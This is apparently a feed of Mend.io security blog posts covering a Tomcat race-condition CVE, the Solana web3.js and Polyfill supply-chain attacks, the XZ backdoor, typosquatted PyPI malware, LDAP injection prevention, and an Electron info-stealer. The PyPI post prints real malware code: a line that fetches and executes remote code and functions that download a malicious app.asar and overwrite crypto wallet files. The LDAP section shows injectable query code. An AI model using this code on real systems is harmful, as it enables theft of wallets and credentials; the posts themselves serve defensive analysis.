Tom Abai – Mend https://www.mend.io Mon, 23 Dec 2024 17:13:45 +0000 en-US hourly 1 https://www.mend.io/wp-content/uploads/2024/11/Mend-io-favicon-outline-200px.svg Tom Abai – Mend https://www.mend.io 32 32 CVE-2024-50379: A Critical Race Condition in Apache Tomcat https://www.mend.io/blog/cve-2024-50379-a-critical-race-condition-in-apache-tomcat/ Thu, 19 Dec 2024 17:23:54 +0000 https://www.mend.io/?p=13405 Recently, an Apache Tomcat web server vulnerability, tracked as CVE-2024-50378, has been published, exposing the platform to remote code execution through a race condition failure.

What is CVE-2024-50379?

The CVE refers to a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that occurs during JSP (JavaServer Pages) compilation in Apache Tomcat. Under certain conditions, this flaw can lead to Remote Code Execution (RCE) on systems with case-insensitive file systems (e.g., Windows).

How does the vulnerability work

  • Race Condition – Let’s start by understanding what a race condition is. It is a vulnerability that occurs when a system performs two or more operations in parallel, and the outcome depends on the timing or order of these operations. The issue arises because the time it takes the system to check a condition is not aligned with the time it takes to act on that condition, allowing an attacker or unexpected behavior to interfere with the process. In our case, When Tomcat checks if it’s safe to compile or use a JSP file (Time-of-Check), there’s a narrow window where an attacker can change or replace the file before it’s actually used (Time-of-Use).
  • Case Insensitivity – This vulnerability is exploitable on case-insensitive file systems. On those kinds of systems, files with the same name but different CASE are treated identically, for example: “file.jsp” and “FILE.JSP”. 

An attacker could exploit this by quickly uploading a malicious JSP file with a different case after Tomcat checks for the file but before it compiles the JSP. If the default servlet is configured to allow write operations (which is not the default setup), this can lead to the compilation and execution of the malicious JSP., and results in a remote code execution.

It is essential to understand that two conditions must be true for your system to be vulnerable to that CVE:

  1. The default servlet must be configured to allow write access, which is not a standard configuration and should not generally be allowed.
  2. The system should be operated with a case-insensitive file system, otherwise, malicious files uploaded by the attacker won’t overwrite safe files.

Mitigations

  • Upgrade: Upgrade to the suitable fix version released by Apache (9.0.98,  10.1.34, 11.0.2).
  • Configuration Check: Unless absolutely necessary, ensure your Tomcat server does not have the default servlet configured for write access.
  • Secure File Upload: Do not allow JSP files to be uploaded directly to directories served by the application.

**UPDATE**

CVE-2024-56337, was released on Dec 20, 2024, to inform that the mitigation for CVE-2024-50379 was incomplete. The fix remains the same, but the Apache team made it clear that users running Tomcat on a case-insensitive file system with the default servlet write enabled (readonly initialisation parameter set to the non-default value of false) may need additional configuration to fully mitigate CVE-2024-50379 depending on which version of Java they are using with Tomcat: 

  • Running on Java 8 or Java 11: the system property sun.io.useCanonCaches must be explicitly set to false (it defaults to true) 
  • Running on Java 17: the system property sun.io.useCanonCaches, if set, must be set to false (it defaults to false)
  • Running on Java 21 onwards: no further configuration is required (the system property and the problematic cache have been removed)

Moreover, versions 11.0.3, 10.1.35 and 9.0.99 onwards will include checks that sun.io.useCanonCaches is set appropriately before allowing the default servlet to be write enabled on a case insensitive file system.
The sun.io.useCanonCaches property is a JVM (Java Virtual Machine) setting that controls how the JVM standardizes file paths.

Conclusion

CVE-2024-50379 highlights the importance of timely updates and careful configuration management when deploying servers. For any organization running Apache Tomcat, particularly in environments where case-insensitive file systems are in use, this vulnerability demands immediate attention to secure your infrastructure from potential exploits. Always keep your systems patched, and your configurations secure to mitigate risks like these.

]]>
The @Solana/web3.js Incident: Another Wake-Up Call for Supply Chain Security https://www.mend.io/blog/the-solana-web3-js-incident-another-wake-up-call-for-supply-chain-security/ Thu, 05 Dec 2024 15:17:03 +0000 https://www.mend.io/?p=13179 On December 2, 2024, the Solana community faced a significant security incident involving the @solana/web3.js npm package, a critical library for developers building on the Solana blockchain with over 450K weekly downloads. This blog post aims to break down the attack flow, explore how it happened, and discuss the importance of supply chain security.

What happened?

The incident focused on versions 1.95.6 and 1.95.7 of the @solana/web3.js library, which were compromised through what seems to have been a phishing attack on the credentials for publishing npm packages. Here is how it worked:

  • Attackers introduced a backdoor into the library by adding a function called addToQueue. This function was designed to capture and exfiltrate private keys used for signing transactions and accessing wallets. The attacker used what looks like CloudFlare headers to stay less suspicious in the network logs.
  • The malicious code was inserted into functions responsible for handling cryptographic operations, such as Keypair.fromSecretKey and Keypair.fromSeed, effectively hijacking these operations to steal keys.
  • The compromised versions were available on npm for approximately five hours, potentially affecting any application that updated or installed these versions during this window.
Solana addToQueue backdoor

Figure 1. addToQueue backdoor introduced on version 1.95.6 

The impact

  • According to Mert Mumtaz, CEO of Helius Labs, the damage from this attack is roughly $130K.
  • A fast response and detection by the Solana team was really important in making the download window of those versions to a minimum of 5 hours.
  • It’s important to mention there is no issue with the security of blockchain, as the problem is with the client Javascript library.
Solana post regarding the incident

Figure 2. Mert Mumtaz’s post

Remediating Suggestions:

  • Upgrade to the latest version – 1.95.8, where the malicious code was removed.
  • Ensure that all suspect authority keys are rotated, including multisigs, program authorities, server key pairs, etc.

How did Mend detect the attack

We have been tracking this issue as MSC-2024-17462 and MSC-2024-17463 since it started, so our customers using this library will get an alert on the two compromised versions.

Moreover, today, the Solana team issued a CVE profile to address this issue. 

The importance of supply chain security

It’s the third supply chain security attack on a very popular open-source library after the Lottie player and the polyfill attacks that we have encountered in the last six months. All those incidents concatenate with the unforgettable XZ incident we had at the start of the year, and of course, all of the North Korean attacks on developers, together with other so-called “regular attacks” we see daily on the main open-source registries.

As we approach the new year, it’s time to stop and think about our supply chain security. As far as I’m concerned, companies are taking vulnerabilities more seriously than malicious packages, despite the fact that having a malicious package in their code means they are immediately compromised. Now is the time to stop closing our eyes to supply chain incidents and invent more resources to secure our supply chain and all our outsourced operations.

Conclusion

The @solana/web3.js incident reminds us of the complexities and risks associated with supply chain security. While the immediate financial impact was contained, the long-term lesson is clear: the supply chain security space requires constant vigilance from individual developers and the entire community.

]]>
More than 100K sites impacted by Polyfill supply chain attack https://www.mend.io/blog/more-than-100k-sites-impacted-by-polyfill-supply-chain-attack/ Mon, 01 Jul 2024 17:30:43 +0000 https://mend.io/more-than-100k-sites-impacted-by-polyfill-supply-chain-attack/ Polyfill.js is a popular open-source project that provides modern functionality on older browsers that do not support it natively; users embed it using the cdn.polyfill.io domain. On February 24, 2024, a Chinese company named Funnull acquired both the domain and the Github account.  

Following that acquisition, the developer, Andrew Betts, tweeted on his X account a warning for all of his service’s users urging them to remove any reference to polyfill from their code. In his words, “I created the polyfill service project but I have never owned the domain and I have had no influence over its sale.” 

Figure 1. https://x.com/triblondon/status/1761852350224846906

On June 25, 2024, Sansec.io researchers reported an active supply chain attack using cdn.polyfill.io. According to their report, the service’s code has been tampered with to inject malware that targets mobile devices through any website that uses the polyfill CDN. Since then, it has been confirmed that the same operator is responsible for similar attacks using additional CDNs, namely BootCDN, Bootcss, and Staticfile.

It’s important to clarify that this attack has no connection to the polyfill npm package. Unlike npm packages, which are downloaded and installed locally within a project’s dependencies, this malicious code is delivered dynamically from the CDN each time a page is loaded.

Malicious code

The malicious code dynamically generates payloads based on HTTP headers. This action allows the code to tailor the right behavior depending on the victim’s environment, making the malware harder to detect and fix. The code targets specific mobile devices and is not executed when browsing on a computer.

The code employs evasion techniques, such as avoiding execution, when it detects admin users or the presence of any Google Analytics service. It has a delay mechanism to reduce the likelihood of being caught by security scan services.

The code is heavily obfuscated, which makes it harder for reverse engineers to understand all the functionality.

Figure 2. Obfuscated malicious code

In some cases, the attack introduces a fake Google Analytics script. Affected users receive altered JavaScript files that include a link to “hxxps[://]www[.]googie-anaiytics[.]com/gtags[.]js“—a deliberate misspelling of “Google Analytics.” This script redirects users to various malicious sites, such as sports betting and adult content platforms, seemingly based on geographic location.

While the reports are mainly focused on redirects to inappropriate links for now, it’s worth remembering that the attacker can change the malicious functionality at any point.

How Mend.io can help

We have been actively scanning and issuing MSC profiles to flag packages that embed references to all of the compromised CDNs. This helps our customers detect and remove any reference to those malicious domains.

We recommend immediately replacing any reference to the compromised CDN with a trusted alternative from either Fastly or Cloudflare

This supply chain attack demonstrates the vulnerabilities associated with dynamically loaded CDN resources and highlights the importance of continuous monitoring and response to such threats.

Developers and organizations must prioritize the security of their applications and always doubt the code they depend on. Staying proactive in maintaining the security of web resources is not just a best practice; it is essential in guarding against evolving supply chain attacks.

]]>
Critical Backdoor Found in XZ Utils (CVE-2024-3094) Enables SSH Compromise 1 https://www.mend.io/blog/critical-backdoor-found-xz-utils-cve-2024-3094/ Sun, 31 Mar 2024 11:04:37 +0000 https://mend.io/critical-backdoor-found-xz-utils-cve-2024-3094/ On March 29th, 2024, a critical CVE was issued for the XZ-Utils library. This vulnerability allows an attacker to run arbitrary code remotely on affected systems. Due to its immediate impact and wide scope, the vulnerability has scored 10 for both CVSS 3.1 and CVSS 4, which is the highest score available.

In this article, you’ll learn how this backdoor infiltrated the software, the potential consequences of an attack, and how to identify and patch vulnerable systems.

This article is part of a series of articles about malicious packages.

What is XZ-Utils?

XZ-Utils is a collection of tools for the XZ compression format that have high compression ratios and fast decompression. The XZ format utilizes the LZMA2 compression algorithm, an improved version of LZMA that provides better compression and improved flexibility in the compression process. The XZ-Utils package typically includes several command-line tools for compressing and decompressing files. One of the most commonly used is XZ itself.

What happened

On Friday, March 29th, a developer named Andres Freund issued a security advisory regarding a backdoor he found in the upstream XZ/liblzma 5.6.0 and 5.6.1 versions that led to SSH server compromise. After he noticed some odd symptoms around liblzma, such as SSH login taking up too much CPU, and debugging with valgrind, he figured out that the XZ tarballs have been backdoored.

Backdoor mechanism

The backdoor was not directly inserted into the source code of liblzma that is visible in version control systems or utilized by XZ directly. Instead, it was hidden within binary test files in the XZ compressed format. These files appeared benign and were theoretically part of the library’s test suite.

The attackers used a sophisticated method that split the backdoor into parts, which were then concealed within two XZ compressed files. These files were disguised as ordinary test files, evading detection from casual inspection or automated tools that scan for malicious patterns.

Those crafted test files can be found here:

tests/files/bad-3-corrupt_lzma2.xz (cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)

tests/files/good-large_compressed.lzma (cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0, 74b138d2a6529f2c07729d7c77b1725a8e8b16f1)

Figure 1. Different version of build-to-host.m4 file in the released tarballs

Execution flow

Upon decompression and execution, these files collaboratively manipulated the build process of liblzma. The process involved extracting and executing obfuscated script code, leading to the injection of malicious code into the build output.

This manipulation effectively appended malicious data to the build process without raising suspicion, as it mimicked legitimate testing adjustments.

The deobfuscated code can be found here

Malicious code injection

The attackers introduced a new object related to the CRC64 algorithm, claiming it was an improvement. This object was, in fact, a trojan that, when included in the build process, embedded the final backdoor into the liblzma library.

The essence of the backdoor was to intercept function calls related to CRC32 and CRC64 resolution and replace them with malicious variants that could execute arbitrary code under certain conditions, likely tied to specific crafted inputs.

Linker manipulation and RSA decryption hook

The backdoor installed an “audit hook” into the dynamic linker of Linux, a critical component that resolves library dependencies at runtime. By hooking into this mechanism, the backdoor could alter the behavior of the linker to intercept and modify the resolution of symbols, particularly those involved in RSA public key decryption.

This manipulation meant that during SSH key authentication, the backdoor could substitute the legitimate RSA decryption function with its own, allowing for unauthorized access if the input matched a certain condition likely known only to the attacker.

Stealth and implications

The backdoor’s sophistication lay in its ability to hide within the normal build process and manipulate low-level system components undetected. Targeting the dynamic linker and encryption routines posed a severe threat to system security, potentially allowing attackers to bypass authentication mechanisms.

How to look for the XZ package with Mend Container

With the Mend Container solution, you can effortlessly scan individual images or integrate your container registry to scan your entire registry thoroughly. Additionally, you can leverage our in-house container reachability analysis to check if the vulnerability is reachable. Our updated scanner will enhance your knowledge with the most updated data regarding this vulnerability.

Vulnerable Linux distros and their fix versions

DistroDistro VersionsIs Affected?Fixed VersionsReferences
AlpineedgeAffected5.6.0-r2, 5.6.1-r2alpinelinux.org
DebianUnstable (sid, trixie)Debian stable versions are not affected5.6.1+really5.4.5-1security-tracker.debian.org
UbuntuNot Affectedubuntu.com
RHELNot Affectedaccess.redhat.com
Fedora40Not Affected5.4.6-3.eln136fedoraproject.org
Fedora41Affectedfedoraproject.org
FedoraRawhideAffectedfedoraproject.org
Amazon LinuxNot Affectedaws.amazon.com
OpenSUSETumbleweedAffected5.6.1.revertto5.4news.opensuse.org
Arch LinuxAffected5.6.1-2archlinux.org

False positive announcement

Due to a conflict between the Debian advisory and the official announcement, customers are expected to detect false positive alerts on older versions than 5.6.0. We recommend either upgrading to the matched fixed version listed above or downgrading to the latest uncompromised version, which is 5.4.6.

*April 1 update. It was confirmed that Fedora 40 is not affected by the backdoor. However, users should still downgrade to a 5.4 build to be safe.

A landscape of malicious packages

The critical backdoor found in XZ Utils serves as a stark reminder of the evolving threats within the software supply chain. While this specific vulnerability involved a backdoored library, malicious actors employ various techniques like license tampering, credential theft and many more. 

In conclusion, the XZ Utils backdoor vulnerability (CVE-2024-3094) underscores the critical need for vigilance in software supply chain security. By staying informed about these evolving threats, implementing robust security practices, and patching vulnerable systems promptly, organizations can significantly reduce their risk of falling victim to malicious attacks.

]]>
Over 100 Malicious Packages Target Popular ML PyPi Libraries https://www.mend.io/blog/over-100-malicious-packages-target-popular-ml-pypi-libraries/ Thu, 28 Mar 2024 17:26:08 +0000 https://mend.io/over-100-malicious-packages-target-popular-ml-pypi-libraries/ Early on March 28, 2024, the Mend.io research team detected more than 100 malicious packages targeting the most popular machine learning (ML) libraries from the PyPi registry. Among those libraries are Pytorch, Matplotlib, and Selenium

The attack involves a typosquatting technique designed to trick developers into downloading malicious versions of those packages—for example,  “Matplotltib”, “selennim”, and “PyToich

The malicious packages used the Fernet mechanism to decrypt their malicious script. Upon decryption, the script fetches further attack stages according to its instructions.

Upon investigating the malicious code, the team found malware that steals the user’s personal information, such as passwords and tokens, and tries to collect crypto currencies. Additionally, the malware remains persistent in attempting to install itself in the startup path.

Let’s break down the execution flow of those packages:

It all starts with the setup.py file, which will allow the payload to execute after it is installed.

This file holds the first stage of the execution, including an encrypted Fernet payload that upon decoding will result in the following: 

"b"exec(requests.get('hxxps[://]funcaptcha[.]ru/paste2?package=<PackageName>').text.replace('<pre>','').replace('</pre>',''))" 

Figure 1. Setup.py file with encrypted Fernet payload

After getting the response from this host, we found another obfuscated script using the exact decryption mechanism. This time, the script will write its obfuscated content into a file named ‘gruppe.py‘ and execute it.

Figure 2. Encrypted payload is written into the ‘gruppe.py‘ file.

The third and final stage happens after executing the ‘gruppe.py’ file. The obfuscated payload will be decoded, and the real intent of this attack is revealed.

Figure 3. Last stage – Sophisticated info-stealer

The last deobfuscated script includes the following capabilities:

Environment setup. It defines paths to various important directories (like USERPROFILE, APPDATA, and LOCALAPPDATA) and creates a storage directory for collected data.

Extension and wallet data extraction. It looks for specific browser extensions and wallet applications (like Exodus, Electrum, Coinomi), presumably to steal cryptocurrency or related data. This involves creating ZIP archives of targeted directories and files that are uploaded to hxxps[://]funcaptcha[.]ru/delivery.

Discord token theft. The script searches Discord-related local storage files for authentication tokens, which could allow unauthorized access to Discord accounts.

File search and upload. It searches the user’s system for files with keywords related to sensitive information (passwords, accounts, crypto wallets) across several directories and uploads any findings to a server.

Persistence and remote control. It attempts to  download a Python script (hvnc.py) to the system’s Startup folder for persistence.

Stealth and evasion. The script uses SubProcess with flags like CREATE_NO_WINDOW to hide its execution and operates silently by suppressing output to DEVNULL.

Interestingly, the script also repeatedly attempts to inject malicious content into the Atomic and Exodus Wallet applications, which are popular software wallets for cryptocurrency that support various coins and tokens. 

def inject():
    procc = "exodus.exe"
    local = os.getenv("localappdata")
    path = f"{local}/exodus"
    if not os.path.exists(path): return
    listOfFile = os.listdir(path)
    apps = []
    for file in listOfFile:
        if "app-" in file:
            apps += [file]
    exodusPatchURL = "https://funcaptcha.ru/app.asar"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36"}
    req = Request(exodusPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    for app in apps:
        try:
            fullpath = f"{path}/{app}/resources/app.asar"
            with open(fullpath, 'wb') as out_file1:
                out_file1.write(data)
        except: pass
"User-Agent": "Mozilla/5.0"
for i in range(10):
    try:
        inject()
        break
    except: pass
def inject_atomic():
    procc = "Atomic Wallet.exe"
    local = os.getenv("localappdata")
    path = f"{local}/Programs/atomic"
    if not os.path.exists(path): return
    atomicPatchURL = "https://funcaptcha.ru/atomic/app.asar"
    headers = {"User-Agent": "Mozilla/5.0"}
    req = Request(atomicPatchURL, headers=headers)
    response = urlopen(req)
    data = response.read()
    subprocess.Popen(f"taskkill /im {procc} /t /f >nul 2>&1", shell=True)
    try:
        fullpath = f"{path}/resources/app.asar"
        with open(fullpath, 'wb') as out_file1:
            out_file1.write(data)
    except: pass

for i in range(10):
    try:
        inject_atomic()
        break
    except: pass

Figure 4. Crypto wallet injection functionality

The flow for this functionality looks like this:

1. Identify crypto wallet applications. The script looks for the installation directory of the Crypto Wallet applications on the user’s system. It specifically targets the atomic and exodus directories within the user’s local application data folder, a common location for installed applications on Windows systems.

2. Download and inject malicious component. The script constructs a request to download a malicious app.asar file from a specified URL (hxxps[://]funcaptcha[.]ru/atomic/app[.]asar / hxxps[://]funcaptcha[.]ru/app[.]asar). The app.asar file is an Electron application archive commonly used in Electron-based applications like Atomic/Exodus Wallet to bundle their resources. By downloading and replacing the legitimate app.asar with a malicious one, the attacker can alter the behavior of those Wallet applications, potentially introducing functionalities that compromise the wallet’s security and the user’s cryptocurrency assets.

3. Ensure execution. The script attempts to force stop (kill) any Atomic/Exodus Wallet application running instances using the taskkill command. This will ensure that the malicious app.asar file can be placed without any file access conflicts. After killing the process, the script writes the downloaded malicious app.asar file into the Wallet’s resources directory, effectively replacing the legitimate version.

4. Repeat attempts. The script wraps the injection process in a loop that attempts the download and injection up to 10 times. This could be an error-handling strategy to deal with potential issues such as network connectivity problems or the Wallet application being in use and thus locked for writing.

Summary

This attack demonstrates the importance of verifying every component we introduce into our code. In the new era of AI and LLMs, we expect to see more sophisticated attacks that target ML model developers and trick them into downloading malicious code. 

]]>
What is LDAP Injection? Types, Examples and How to Prevent It https://www.mend.io/blog/what-is-ldap-injection-types-examples-and-how-to-prevent-it/ Thu, 21 Mar 2024 21:56:09 +0000 https://mend.io/blog/what-is-ldap-injection-types-examples-and-how-to-prevent-it/ What is LDAP (Lightweight Directory Access Protocol)?

A lighter-weight version of the Directory Access Protocol (DAP), Lightweight Directory Access Protocol (LDAP) is an open, vendor-neutral, industry-standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol (IP) network. LDAP is widely applied in web development because of the centralized authentication, enabling users to log into different websites and applications with a single identity.

The unified directory service supported by LDAP facilitates the sharing of user and resource directories among various applications and services. In security and authentication management, LDAP’s support of data encryption and security authentication mechanisms has made it an ideal choice for managing user data, implementing authorization with SSL, and simplifying resource access in large organizations and enterprise environments.

LDAP data structure

LDAP stores data in a hierarchical directory tree where each entry is a unique node. Each node consists of one or more attributes that define its characteristics. For example, a user node may contain details like UID, username, password, email, etc.

LDAP is ideal for storing data like organizational structure, user information and permission settings in a tree-like format. It features a lightweight design, optimizes read operations, and is more applicable in scenarios where there are far more read operations than write operations.

Specialized libraries are required to interact with the LDAP server. In Java, JNDI (Java Naming and Directory Interface) is usually used for LDAP operations. Here is a simple query code example.

public class LdapConnection {
    public DirContext search(String url, String username, String password) throws Exception {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, url);
        env.put(Context.SECURITY_AUTHENTICATION, "simple");
        env.put(Context.SECURITY_PRINCIPAL, username);
        env.put(Context.SECURITY_CREDENTIALS, password);
        DirContext ctx =  new InitialDirContext(env);
   SearchControls searchControls = new SearchControls();
  searchControls.setSearchScope(SearchControls.SUBTREE_SCOPE);
        NamingEnumeration<SearchResult> results = ctx.search(searchBase, searchFilter, searchControls);
        while (results.hasMore()) {
            SearchResult result = results.next();
            System.out.println("Name: " + result.getName());
        }
}

LDAP injection attacks 

Despite its several advantages, LDAP has also become a hot target for malicious attacks due to its widespread application. With the purpose of destroying the app or making illegal profits, hackers launch malicious LDAP injection attacks on systems that fail to handle users’ data properly. Let’s learn more about LDAP attack modes below:

Attack modes

Basic attack and blind attack are the two ways that LDAP Injection is performed.

Basic Attack

A basic attack is simple, clear, and direct: attackers locate the vulnerability and steal data by tampering with query operations with malicious input. For instance, it is most vulnerable if you directly create query conditions with string concatenation, such as:

String userFilter = "(cn=" + userInput + ")";

Blind Attack

In the blind attack mode, the attacker constantly attempts to interact with the LDAP server and infer based on the information returned by the server until a usable malicious query statement is found. This attack mode is chosen when there is not enough information, and the attacker searches for vulnerabilities through constant attempts. In the following example, where the user’s permissions are obtained via UID, the attacker infers whether the information returned by the method can be used or not.

public String getUserRole(String uid) {
    String query = "(uid=" + uid + ")";
    // LDAP query & return roleInfo
}

Meanwhile, attackers try to obtain more precise or more user information by passing in different searchCriteria.

public List<String> searchUser(String searchCriteria) {
    String query = "(&(objectClass=person)(|" + searchCriteria + "))";
   // LDAP query & return user list
}

Both the above two ways enable the attacker to obtain permissions and further imperil the LDAP system such as adding, deleting and modifying information.

The userInput in the code below is not verified, and the attacker can add any user information they want once they obtain the addUser permission.

public void addUser(String userInput) {
    String dn = "uid=" + userInput + ",dc=example,dc=com";
    Attributes attributes = new BasicAttributes();
    Attribute attribute = new BasicAttribute("objectClass", "inetOrgPerson");
    attributes.put(attribute);
    // LDAP add op
    context.createSubcontext(dn, attributes);
}

Similarly, the same issue lies in the deleteUser and modifyUser below.

public void deleteUser(String userInput) {
    String dn = "uid=" + userInput + ",dc=example,dc=com";
    // LDAP delete op
    context.destroySubcontext(dn);
}
public void updateUser(String username, String userAttribute, String newValue) {
    String dn = "uid=" + username + ",dc=example,dc=com";
    ModificationItem[] mods = new ModificationItem[1];
    Attribute mod = new BasicAttribute(userAttribute, newValue);
    mods[0] = new ModificationItem(DirContext.REPLACE_ATTRIBUTE, mod);
    context.modifyAttributes(dn, mods);
}

AND and OR in Attacks

Attackers often use the AND operator to narrow the querying scope. Only the records that meet all criteria are returned.

(&(cond1)(cond2)(cond3))

For example, the following query narrows the query scope to user information.

String filter = "(&(objectClass=user)(uid=" + uid + "))";

On the contrary, the OR operator broadens the query scope and returns records that meet either condition, ensuring that at least one of the listed conditions is met.

(|(cond1)(cond2)(cond3))

For example, the following search returns results once either user or email is matched.

String filter = "(|(uid=" + userInput + ")(mail=" + emailInput + "))";

The attackers’ flexible use of AND and OR operators is greatly challenging to the system security.

Related: Preventing SQL Injections With Python

LDAP attack types

Common LDAP attacks can be classified into Information Disclosure, Authentication Bypass and Denial of Service(DoS). Let’s delve into these types of attacks in detail:

Information disclosure

Information Disclosure occurs when user input is used to build an LDAP query before it is properly processed. Via LDAP vulnerability, attackers access and disclose sensitive information that should not be made public, such as user credentials, personal data, passwords, etc., and use them for further crimes like identity and credit fraud.

Authentication bypass

An authentication bypass typically occurs when an application fails to validate an LDAP query input properly. The attacker constructs a malicious LDAP query statement and changes the authentication logic of the application to bypass the authentication mechanism. 

For example, an attacker could inject special query parameters so that an LDAP query always returns a positive result regardless of the actual username and password combination. In this way, an attacker can log in as any user and access protected resources and data.

The attackers’ full access to the system without security controls and audit mechanisms can cause large-scale data leaks and illegal data modifications, jeopardizing the security of the entire system.

Denial of Service (DoS)

Denial of Service (DoS) avails itself of the resource limitations of the LDAP server and consumes server resources by sending a large number of complex or specially constructed requests or creating multiple concurrent connections to fail the normal service. It attacks mainly by exhausting the target system’s resources, such as memory, CPU and network bandwidth.

The interruption of the core LDAP service affects the operations of all the systems that rely on it. For example, the Google incident in December 2020 was a typical LDAP system failure, which led to the service interruptions of YouTube and Gmail.

LDAP injection prevention cheat sheet

Remediation is reactive, and prevention is proactive. You can take better control of your security with this essential cheat sheet of defense mechanisms for preventing LDAP Injection attacks:

  • Use Parameterized Queries: Prevent LDAP injection by avoiding direct string concatenation, such as:
String searchFilter = "(&(uid={0})(userPassword={1}))";
ctx.search("dc=example,dc=com", searchFilter, new Object[]{username, password}, searchControls);
  • Input Validation: Validate all user inputs for format and legitimacy. Use regex to check if the input matches the expected format.
if (!username.matches("[A-Za-z0-9]{1,30}")) {
   throw new IllegalArgumentException("Invalid input");
}
  • Escape Special Characters: Escaping special characters in LDAP search input values ensures they are treated as literal characters rather than control characters in queries.
String sanitizedInput = input.replace("(", "\\28").replace(")", "\\29");
  • Implement Access Controls: Restrict LDAP access based on the principle of least privilege.
  • Encrypt LDAP Communications: Use SSL/TLS for LDAP communications to ensure data privacy.
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.SECURITY_PROTOCOL, "ssl");
DirContext ctx = new InitialDirContext(env);
  • Audit and Monitor LDAP Access: Regularly audit and monitor LDAP access logs for suspicious activities.
  • Improve Authentication Method: Use strong authentication mechanisms, such as multi-factor authentication.
  • Sanitize Logs: Sanitize data before logging in order to avoid information leakage.
log.info("User accessed: " + sanitizeForLog(username));
  • Manage Session: Implement secure session management for LDAP interactions, for instance, using tokens and timeout policies.
  • Limit LDAP Query: Limit the scope and complexity of LDAP queries, such as by setting query size and time limits in the LDAP search controls.
SearchControls controls = new SearchControls();
controls.setSearchScope(SearchControls.SUBTREE_SCOPE);
controls.setCountLimit(100);
controls.setTimeLimit(3000);
  • Harden LDAP Schema: Improve the LDAP schema to prevent unauthorized modifications, for example, restrict schema modification rights to admin users only.
  • Disable Unused LDAP Services: Turn off unused LDAP functionalities to reduce the attack surface.
  • Secure LDAP Server: Install LDAP-specific firewalls to filter malicious traffic.
  • Use Secure LDAP Libraries: Utilize well-known, secure LDAP libraries in your applications, for instance, UnboundID for Java.
  • Update LDAP Software: Keep LDAP servers and clients updated with the latest security patches.
  • Backup and Recovery: Have a robust backup and recovery plan for LDAP data.
  • Conduct Regular Audits: Conduct security audits of the LDAP infrastructure regularly, including schema validation, auditing logs, etc.

Conclusion

LDAP, while offering undeniable benefits, can be susceptible to malicious attacks. To safeguard your organization, prioritizing proactive prevention strategies like parameterized queries, input validation, and strong authentication mechanisms is crucial. By employing the comprehensive defense mechanisms outlined in this article, you can significantly bolster your LDAP security posture, thwarting information disclosure, authentication bypasses, and Denial-of-Service attacks, thereby maintaining the integrity and availability of vital data.

Remember, vigilance is key – regularly update your software, conduct security audits, and foster a culture of cyber awareness to stay ahead of evolving threats and uphold a robust security posture. By proactively investing in securing your LDAP infrastructure, you can ensure the continued success and resilience of your business in today’s dynamic and ever-evolving threat landscape.

]]>
There’s a New Stealer Variant in Town, and It’s Using Electron to Stay Fully Undetected https://www.mend.io/blog/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/ Thu, 10 Aug 2023 14:05:11 +0000 https://mend.io/theres-a-new-stealer-variant-in-town-and-its-using-electron-to-stay-fully-undetected/ Our threat research team recently uncovered new npm packages that are used to download a new info-stealer variant that uses the popular Electron framework to disguise itself as a legitimate application. In this blog post, we’ll analyze the attack flow of this new info-stealer we detected and explain how it can stay undetected by abusing trusted development tools like Electron. 

By building the malware with Electron, the attackers are able to inject their malicious code into a program that appears harmless. But behind its innocent look, this info-stealer’s main objective is to collect sensitive data from the victim’s machine. We’ll discuss how it operates, its capabilities, and how users can stay safe. 

What is Electron and why it’s being used in malware

Electron is an open-source framework developed by GitHub for building cross-platform desktop applications using web technologies like JavaScript, HTML and CSS. It uses Chromium and Node.js under the hood. The Chromium engine is used to display web content and Node.js runs the backend code.

The nature of this framework allows attackers to spread their malicious code to multi-platforms with an ease of a flag and reduce the time it takes to develop code that will suit each system.

The Framework’s interface makes it easy to create attractive looking apps that users may be tricked into installing and can easily disguise themselves as legitimate tools while accessing powerful OS functions in the background.

Initial access

On Thursday, August 3rd, our supply chain tool alerted us with a suspicious package named Crazydown which runs an obfuscated script using a postinstall hook. The attacker used two techniques to try and hide their malicious intent. The first one involved a creative way to hide its actions in the package.json file using escaped Unicode characters. The second technique was to obfuscate the main file index.js using rename obfuscation and encryption to try and stay undetected.

Figure 1. Escaped Unicode characters in the package.json file

Figure 2. Heavy obfuscated and encrypted index.js file

To understand what’s going on in this file, we debugged it to see how it decrypts its original strings during runtime using bitwise operations. After a couple of iterations, we found the url that downloads the second stage of the attack.

Figure 3. The host server is revealed through the debugging process

It’s worth mentioning that a couple of days later, we found another 4 packages that use the same techniques to spread that malware, but this time in one version, the attacker exposed its full source code under this heavy obfuscation which you can see here.

Figure 4. Fully deobfuscated Index.js file

So the main goal behind this code is to download an exe file from a discord server and execute it.

Second stage analysis

Uploading our sample to Virustotal shows us that it is fully undetected by any vendor, as the analysis gives us zero results.

Looking at the details tab, we can see that this sample is actually a Nullsoft installer which is a tool for creating Windows installers, and it’s widely used due to its power and flexibility. Moreover, Nullsoft installer is an archive which means we can extract its content using tools like 7-zip.

Figure 5. Virustotal results show this sample is fully undetected

Figure 6. Nullsoft installer evidence

Upon extracting the sample, we found a bigger exe file (~134Mb) named Fewer.exe.

Analyzing this file in Detect It Easy tool we can see that it is actually an electron desktop application.

Figure 7. A new bigger exe file was found

Figure 8. Detect It Easy results point to the Electron app

To get the source code that was built into this electron app, we can look inside the resources folder. There we can find an app.asar file, which can be extracted using an asar plugin for 7-zip, and here we have the full source code of that sample.

Figure 9. App.asar file that includes the source code of the app

Figure 10. Extracted app source code

When looking at the batch file we can see the instruction that is being used to build this app using the electron-builder command for Windows.

Figure 11. Instructions from batch file

Analyzing the gavy.js file we found that this file is in charge of decrypting the full source code of the stealer. Replacing the final function statement with a console.log method will reveal the code.

Figure 12. Original gavy.js file

Figure 13. Altered gavy.js file to decrypt its content

Figure 14. A snippet from the info stealer source code

Evidence in the wild

